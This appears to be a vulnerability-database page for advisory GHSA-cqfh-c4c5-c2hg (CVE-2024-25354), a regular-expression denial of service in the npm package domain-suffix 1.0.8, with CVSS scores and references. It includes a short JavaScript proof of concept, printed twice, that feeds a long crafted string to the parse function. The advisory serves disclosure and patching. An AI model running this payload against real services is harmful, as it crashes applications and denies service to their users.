GHSA-CQFH-C4C5-C2HG
Vulnerability from github – Published: 2024-03-28 00:31 – Updated: 2025-09-03 15:16
VLAI
Summary
domain-suffix RegEx Denial of Service
Details
RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.
PoC
async function exploit() {
const domainsuffix = require(\"domain-suffix\");
// Crafting a string that will cause excessive backtracking
const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"
const result = await domainsuffix.domainSuffix.parse(maliciousInput);
}
await exploit();
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "domain-suffix"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-25354"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2024-08-29T18:02:23Z",
"nvd_published_at": "2024-03-27T22:15:10Z",
"severity": "HIGH"
},
"details": "RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.\n\n## PoC\n```js\nasync function exploit() {\n const domainsuffix = require(\\\"domain-suffix\\\");\n // Crafting a string that will cause excessive backtracking\n const maliciousInput = \\\"a.\\\".repeat(10000) + \\\"b\\\"; // This will create a long sequence of \\\"a.\\\" followed by \\\"b\\\"\n const result = await domainsuffix.domainSuffix.parse(maliciousInput);\n}\nawait exploit();\n```",
"id": "GHSA-cqfh-c4c5-c2hg",
"modified": "2025-09-03T15:16:09Z",
"published": "2024-03-28T00:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-25354"
},
{
"type": "WEB",
"url": "https://gist.github.com/6en6ar/c3b11b4058b8e2bc54717408d451fb79"
},
{
"type": "PACKAGE",
"url": "https://github.com/ikrong/domain-suffix"
},
{
"type": "WEB",
"url": "https://github.com/ikrong/domain-suffix/blob/master/src/domainSuffix.ts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "domain-suffix RegEx Denial of Service"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
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